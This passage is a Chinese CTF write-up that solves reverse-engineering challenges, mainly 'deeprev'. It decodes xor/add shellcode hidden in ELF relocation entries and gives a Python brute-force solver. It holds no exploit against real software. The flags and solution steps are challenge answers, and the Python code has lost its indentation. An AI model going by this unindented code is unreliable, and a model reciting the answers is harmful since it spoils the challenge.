for i in range(25):
new_arr2 = map(ord, arr2[25*i:25*i+25])
num = new_arr2[0]
for j in range(num+1, 25):
new_arr2[j] = 0
print(i+1, new_arr2[1:])
print()
观察矩阵特征,结合提示的 flag 格式 FLAG{},可以通过推演得到最终的输入
可以看出对应的文字为
FLAG{I LOVE PLAY ctf_QWB2022}!!!!
deeprev
该程序包含了大量的重定位表项
使用命令 readelf -r
输出这些重定位表项
000000403ff0 000d00000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000403ff8 000e00000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000404040 000f00000005 R_X86_64_COPY 0000000000404040 secret + 0
000000804000 000000000008 R_X86_64_RELATIVE 0
000000804000 000000000008 R_X86_64_RELATIVE 0
00000080409c 000000000008 R_X86_64_RELATIVE 404040
0000008040a4 000000000008 R_X86_64_RELATIVE 1
0000008040cc 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
000000804000 000000000008 R_X86_64_RELATIVE 0
000000804332 000000000008 R_X86_64_RELATIVE 16008040cc253480
00000080433a 000000000008 R_X86_64_RELATIVE c3
0000008040b4 000000000008 R_X86_64_RELATIVE 804332
0000008040ac 000000000008 R_X86_64_RELATIVE 1000a0000001a
000000804332 000300000001 R_X86_64_64 0000000000804000 ^C + 0
00000080409c 000000000008 R_X86_64_RELATIVE a53f62
0000008040a4 000000000008 R_X86_64_RELATIVE 18
000000804332 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
000000804000 000000000008 R_X86_64_RELATIVE 0
00000080440a 000000000008 R_X86_64_RELATIVE 8040cc250480
000000804412 000000000008 R_X86_64_RELATIVE c3
0000008040b4 000000000008 R_X86_64_RELATIVE 80440a
0000008040ac 000000000008 R_X86_64_RELATIVE 1000a0000001a
00000080440a 000300000001 R_X86_64_64 0000000000804000 ^C + 0
00000080440a 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
00000080409c 000000000008 R_X86_64_RELATIVE 8040cc
0000008040a4 000000000008 R_X86_64_RELATIVE 1
0000008042ba 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
00000080409c 000000000008 R_X86_64_RELATIVE 404041
0000008040cc 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
000000804000 000000000008 R_X86_64_RELATIVE 0
00000080452a 000000000008 R_X86_64_RELATIVE 17008040cc253480
000000804532 000000000008 R_X86_64_RELATIVE c3
0000008040b4 000000000008 R_X86_64_RELATIVE 80452a
0000008040ac 000000000008 R_X86_64_RELATIVE 1000a0000001a
00000080452a 000300000001 R_X86_64_64 0000000000804000 ^C + 0
00000080409c 000000000008 R_X86_64_RELATIVE a53f62
0000008040a4 000000000008 R_X86_64_RELATIVE 18
00000080452a 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
000000804000 000000000008 R_X86_64_RELATIVE 0
000000804602 000000000008 R_X86_64_RELATIVE 1008040cc250480
00000080460a 000000000008 R_X86_64_RELATIVE c3
0000008040b4 000000000008 R_X86_64_RELATIVE 804602
0000008040ac 000000000008 R_X86_64_RELATIVE 1000a0000001a
000000804602 000300000001 R_X86_64_64 0000000000804000 ^C + 0
000000804602 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
00000080409c 000000000008 R_X86_64_RELATIVE 8040cc
0000008040a4 000000000008 R_X86_64_RELATIVE 1
0000008042bb 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
00000080409c 000000000008 R_X86_64_RELATIVE 404042
0000008040cc 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
000000804000 000000000008 R_X86_64_RELATIVE 0
000000804722 000000000008 R_X86_64_RELATIVE 10008040cc253480
00000080472a 000000000008 R_X86_64_RELATIVE c3
0000008040b4 000000000008 R_X86_64_RELATIVE 804722
0000008040ac 000000000008 R_X86_64_RELATIVE 1000a0000001a
000000804722 000300000001 R_X86_64_64 0000000000804000 ^C + 0
00000080409c 000000000008 R_X86_64_RELATIVE a53f62
0000008040a4 000000000008 R_X86_64_RELATIVE 18
000000804722 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
000000804000 000000000008 R_X86_64_RELATIVE 0
0000008047fa 000000000008 R_X86_64_RELATIVE 2008040cc250480
000000804802 000000000008 R_X86_64_RELATIVE c3
0000008040b4 000000000008 R_X86_64_RELATIVE 8047fa
0000008040ac 000000000008 R_X86_64_RELATIVE 1000a0000001a
0000008047fa 000300000001 R_X86_64_64 0000000000804000 ^C + 0
0000008047fa 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
00000080409c 000000000008 R_X86_64_RELATIVE 8040cc
0000008040a4 000000000008 R_X86_64_RELATIVE 1
0000008042bc 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
00000080409c 000000000008 R_X86_64_RELATIVE 404043
0000008040cc 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
000000804000 000000000008 R_X86_64_RELATIVE 0
00000080491a 000000000008 R_X86_64_RELATIVE 12008040cc253480
000000804922 000000000008 R_X86_64_RELATIVE c3
0000008040b4 000000000008 R_X86_64_RELATIVE 80491a
0000008040ac 000000000008 R_X86_64_RELATIVE 1000a0000001a
00000080491a 000300000001 R_X86_64_64 0000000000804000 ^C + 0
00000080409c 000000000008 R_X86_64_RELATIVE a53f62
0000008040a4 000000000008 R_X86_64_RELATIVE 18
00000080491a 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
000000804000 000000000008 R_X86_64_RELATIVE 0
0000008049f2 000000000008 R_X86_64_RELATIVE 3008040cc250480
0000008049fa 000000000008 R_X86_64_RELATIVE c3
0000008040b4 000000000008 R_X86_64_RELATIVE 8049f2
0000008040ac 000000000008 R_X86_64_RELATIVE 1000a0000001a
0000008049f2 000300000001 R_X86_64_64 0000000000804000 ^C + 0
0000008049f2 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
00000080409c 000000000008 R_X86_64_RELATIVE 8040cc
0000008040a4 000000000008 R_X86_64_RELATIVE 1
0000008042bd 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
00000080409c 000000000008 R_X86_64_RELATIVE 404044
0000008040cc 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
000000804000 000000000008 R_X86_64_RELATIVE 0
000000804b12 000000000008 R_X86_64_RELATIVE 10008040cc253480
000000804b1a 000000000008 R_X86_64_RELATIVE c3
0000008040b4 000000000008 R_X86_64_RELATIVE 804b12
0000008040ac 000000000008 R_X86_64_RELATIVE 1000a0000001a
000000804b12 000300000001 R_X86_64_64 0000000000804000 ^C + 0
00000080409c 000000000008 R_X86_64_RELATIVE a53f62
0000008040a4 000000000008 R_X86_64_RELATIVE 18
000000804b12 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
000000804000 000000000008 R_X86_64_RELATIVE 0
000000804bea 000000000008 R_X86_64_RELATIVE 4008040cc250480
000000804bf2 000000000008 R_X86_64_RELATIVE c3
0000008040b4 000000000008 R_X86_64_RELATIVE 804bea
0000008040ac 000000000008 R_X86_64_RELATIVE 1000a0000001a
000000804bea 000300000001 R_X86_64_64 0000000000804000 ^C + 0
000000804bea 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
00000080409c 000000000008 R_X86_64_RELATIVE 8040cc
0000008040a4 000000000008 R_X86_64_RELATIVE 1
0000008042be 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
00000080409c 000000000008 R_X86_64_RELATIVE 404045
0000008040cc 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
000000804000 000000000008 R_X86_64_RELATIVE 0
000000804d0a 000000000008 R_X86_64_RELATIVE 11008040cc253480
000000804d12 000000000008 R_X86_64_RELATIVE c3
0000008040b4 000000000008 R_X86_64_RELATIVE 804d0a
0000008040ac 000000000008 R_X86_64_RELATIVE 1000a0000001a
000000804d0a 000300000001 R_X86_64_64 0000000000804000 ^C + 0
00000080409c 000000000008 R_X86_64_RELATIVE a53f62
0000008040a4 000000000008 R_X86_64_RELATIVE 18
000000804d0a 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
000000804000 000000000008 R_X86_64_RELATIVE 0
000000804de2 000000000008 R_X86_64_RELATIVE 5008040cc250480
000000804dea 000000000008 R_X86_64_RELATIVE c3
0000008040b4 000000000008 R_X86_64_RELATIVE 804de2
0000008040ac 000000000008 R_X86_64_RELATIVE 1000a0000001a
000000804de2 000300000001 R_X86_64_64 0000000000804000 ^C + 0
000000804de2 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
00000080409c 000000000008 R_X86_64_RELATIVE 8040cc
0000008040a4 000000000008 R_X86_64_RELATIVE 1
0000008042bf 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
00000080409c 000000000008 R_X86_64_RELATIVE 404046
0000008040cc 000200000005 R_X86_64_COPY 0000000000804000 ^B + 0
重点注意以下项
00000080440a 000000000008 R_X86_64_RELATIVE 8040cc250480
000000804412 000000000008 R_X86_64_RELATIVE c3
由于重定位表的区域有可执行属性,且这里出现了 C3 (ret)
尝试将上边的数据 8040cc250480
反汇编一下
80 04 25 CC 40 80 00 E8 add byte ptr 8405196, 0E8h
C3 ret
显而易见了,利用重定位修改代码验证了 flag 的正确性,手工将所有的 shellcode 转换为汇编
mov [0x804332], 0x16008040cc253480 ; xor byte ptr ds:[8040CC],16
mov [0x80433a], 0xc3 ; ret
mov [0x80440a], 0x8040cc250480 ; add byte ptr ds:[8040CC],0
mov [0x804412], 0xc3 ; ret
mov [0x80452a], 0x17008040cc253480 ; xor byte ptr ds:[8040CC],17
mov [0x804532], 0xc3
mov [0x804602], 0x1008040cc250480 ; add byte ptr ds:[8040CC],1
mov [0x80460a], 0xc3
mov [0x804722], 0x10008040cc253480 ; xor byte ptr ds:[8040CC],10
mov [0x80472a], 0xc3
mov [0x8047fa], 0x2008040cc250480
mov [0x804802], 0xc3
mov [0x80491a], 0x12008040cc253480 ; xor byte ptr ds:[8040CC],12
mov [0x804922], 0xc3
mov [0x8049f2], 0x3008040cc250480
mov [0x8049fa], 0xc3
mov [0x804b12], 0x10008040cc253480 ; xor byte ptr ds:[8040CC],10
mov [0x804b1a], 0xc3
mov [0x804bea], 0x4008040cc250480
mov [0x804bf2], 0xc3
mov [0x804d0a], 0x11008040cc253480 ; xor byte ptr ds:[8040CC],11
mov [0x804d12], 0xc3
mov [0x804de2], 0x5008040cc250480
mov [0x804dea], 0xc3
mov [0x804f02], 0x12008040cc253480 ; xor byte ptr ds:[8040CC],12
mov [0x804f0a], 0xc3
mov [0x804fda], 0x6008040cc250480
mov [0x804fe2], 0xc3
mov [0x8050fa], 0x13008040cc253480 ; xor byte ptr ds:[8040CC],13
mov [0x805102], 0xc3
mov [0x8051d2], 0x7008040cc250480
mov [0x8051da], 0xc3
mov [0x8052f2], 0x14008040cc253480 ; xor byte ptr ds:[8040CC],14
mov [0x8052fa], 0xc3
mov [0x8053ca], 0x8008040cc250480
mov [0x8053d2], 0xc3
mov [0x8054ea], 0x15008040cc253480 ; xor byte ptr ds:[8040CC],15
mov [0x8054f2], 0xc3
mov [0x8055c2], 0x9008040cc250480
mov [0x8055ca], 0xc3
mov [0x8056e2], 0x16008040cc253480 ; xor byte ptr ds:[8040CC],16
mov [0x8056ea], 0xc3
mov [0x8057ba], 0xa008040cc250480
mov [0x8057c2], 0xc3
mov [0x8058da], 0x17008040cc253480 ; xor byte ptr ds:[8040CC],17
mov [0x8058e2], 0xc3
mov [0x8059b2], 0xb008040cc250480
mov [0x8059ba], 0xc3
mov [0x805ad2], 0x18008040cc253480 ; xor byte ptr ds:[8040CC],18
mov [0x805ada], 0xc3
mov [0x805baa], 0xc008040cc250480
mov [0x805bb2], 0xc3
mov [0x805cca], 0x19008040cc253480
mov [0x805cd2], 0xc3
mov [0x805da2], 0xd008040cc250480
mov [0x805daa], 0xc3
mov [0x805ec2], 0x24008040cc253480
mov [0x805eca], 0xc3
mov [0x805f9a], 0xe008040cc250480
mov [0x805fa2], 0xc3
mov [0x8060ba], 0x2c008040cc253480
mov [0x8060c2], 0xc3
mov [0x806192], 0xf008040cc250480
mov [0x80619a], 0xc3
mov [0x8062b2], 0x26008040cc253480
mov [0x8062ba], 0xc3
mov [0x80638a], 0x10008040cc250480
mov [0x806392], 0xc3
mov [0x8064aa], 0x1e008040cc253480
mov [0x8064b2], 0xc3
mov [0x806582], 0x11008040cc250480
mov [0x80658a], 0xc3
mov [0x8066a2], 0x1f008040cc253480
mov [0x8066aa], 0xc3
mov [0x80677a], 0x12008040cc250480
mov [0x806782], 0xc3
mov [0x80689a], 0x20008040cc253480
mov [0x8068a2], 0xc3
mov [0x806972], 0x13008040cc250480
mov [0x80697a], 0xc3
mov [0x806a92], 0x20008040cc253480
mov [0x806a9a], 0xc3
mov [0x806b6a], 0x14008040cc250480
mov [0x806b72], 0xc3
mov [0x806c8a], 0x21008040cc253480
mov [0x806c92], 0xc3
mov [0x806d62], 0x15008040cc250480
mov [0x806d6a], 0xc3
mov [0x806e82], 0x23008040cc253480
mov [0x806e8a], 0xc3
mov [0x806f5a], 0x16008040cc250480
mov [0x806f62], 0xc3
mov [0x80707a], 0x27008040cc253480
mov [0x807082], 0xc3
mov [0x807152], 0x17008040cc250480
mov [0x80715a], 0xc3
mov [0x807272], 0x24008040cc253480
mov [0x80727a], 0xc3
mov [0x80734a], 0x18008040cc250480
mov [0x807352], 0xc3
mov [0x80746a], 0x25008040cc253480
mov [0x807472], 0xc3
mov [0x807542], 0x19008040cc250480
mov [0x80754a], 0xc3
mov [0x807662], 0x26008040cc253480
mov [0x80766a], 0xc3
mov [0x80773a], 0x1a008040cc250480
mov [0x807742], 0xc3
mov [0x80785a], 0x27008040cc253480
mov [0x807862], 0xc3
mov [0x807932], 0x1b008040cc250480
mov [0x80793a], 0xc3
mov [0x807ab2], 0x70008040fc253480 ; xor byte ptr ds:[8040FC],70
mov [0x807aba], 0xc3
mov [0x807c4a], 0x7c008040fc253480 ; xor byte ptr ds:[8040FC],7C
mov [0x807c52], 0xc3
mov [0x807de2], 0x73008040fc253480
mov [0x807dea], 0xc3
mov [0x807f7a], 0x78008040fc253480
mov [0x807f82], 0xc3
mov [0x808112], 0x6f008040fc253480
mov [0x80811a], 0xc3
mov [0x8082aa], 0x27008040fc253480
mov [0x8082b2], 0xc3
mov [0x808442], 0x2a008040fc253480
mov [0x80844a], 0xc3
mov [0x8085da], 0x2c008040fc253480
mov [0x8085e2], 0xc3
mov [0x808772], 0x7f008040fc253480
mov [0x80877a], 0xc3
mov [0x80890a], 0x35008040fc253480
mov [0x808912], 0xc3
mov [0x808aa2], 0x2d008040fc253480
mov [0x808aaa], 0xc3
mov [0x808c3a], 0x32008040fc253480
mov [0x808c42], 0xc3
mov [0x808dd2], 0x37008040fc253480
mov [0x808dda], 0xc3
mov [0x808f6a], 0x3b008040fc253480
mov [0x808f72], 0xc3
mov [0x809102], 0x22008040fc253480
mov [0x80910a], 0xc3
mov [0x80929a], 0x59008040fc253480
mov [0x8092a2], 0xc3
mov [0x809432], 0x53008040fc253480
mov [0x80943a], 0xc3
mov [0x8095ca], -0x71ff7fbf03dacb80
mov [0x8095d2], 0xc3
mov [0x809762], 0x3d008040fc253480
mov [0x80976a], 0xc3
mov [0x8098fa], 0x2a008040fc253480
mov [0x809902], 0xc3
mov [0x809a92], 0x59008040fc253480
mov [0x809a9a], 0xc3
mov [0x809c2a], 0x27008040fc253480
mov [0x809c32], 0xc3
mov [0x809dc2], 0x2d008040fc253480
mov [0x809dca], 0xc3
mov [0x809f5a], 0x29008040fc253480
mov [0x809f62], 0xc3
mov [0x80a0f2], 0x34008040fc253480
mov [0x80a0fa], 0xc3
mov [0x80a28a], 0x2d008040fc253480
mov [0x80a292], 0xc3
mov [0x80a422], 0x61008040fc253480
mov [0x80a42a], 0xc3
mov [0x80a5ba], 0x32008040fc253480
mov [0x80a5c2], 0xc3
mov [0x80a992], 0x6c0080415c253480 ; xor byte ptr ds:[80415C],6C
mov [0x80a99a], 0xc3
mov [0x80ae2a], -0x5eff7fbea3dacb80 ; xor byte ptr ds:[80415C],A1
mov [0x80ae32], 0xc3
mov [0x80b262], -0x4eff7fbea3dacb80 ; xor byte ptr ds:[80415C],B1
mov [0x80b26a], 0xc3
mov [0x80b6fa], -0x1aff7fbea3dacb80 ; xor byte ptr ds:[80415C],E5
mov [0x80b702], 0xc3
算法就是简单的 xor + add
写个脚本解之
import hashlib
flag = ''
trans = [0x16, 0x17, 0x10, 0x12, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x24, 0x2c, 0x26, 0x1e, 0x1f, 0x20, 0x20, 0x21, 0x23, 0x27, 0x24, 0x25, 0x26, 0x27]
check = [0x70, 0x7c, 0x73, 0x78, 0x6f, 0x27, 0x2a, 0x2c, 0x7f, 0x35, 0x2d, 0x32, 0x37, 0x3b, 0x22, 0x59, 0x53, 0x8e, 0x3d, 0x2a, 0x59, 0x27, 0x2d, 0x29, 0x34, 0x2d, 0x61, 0x32]
for i in range(len(check)):
flag += chr(trans[i] ^ check[i] - i)
flagc = flag + '%c%c%c}'
for i in range(32,123):
for j in range(32,123):
for k in range(32,123):
flagx = flagc % (chr(i),chr(j),chr(k))
if hashlib.sha256(flagx.encode('utf-8')).hexdigest()[:16] == 'f860464d767610bb':
print(flagx)
break
求得最终的 flag 为 flag{366c950370fec47e34581a0574}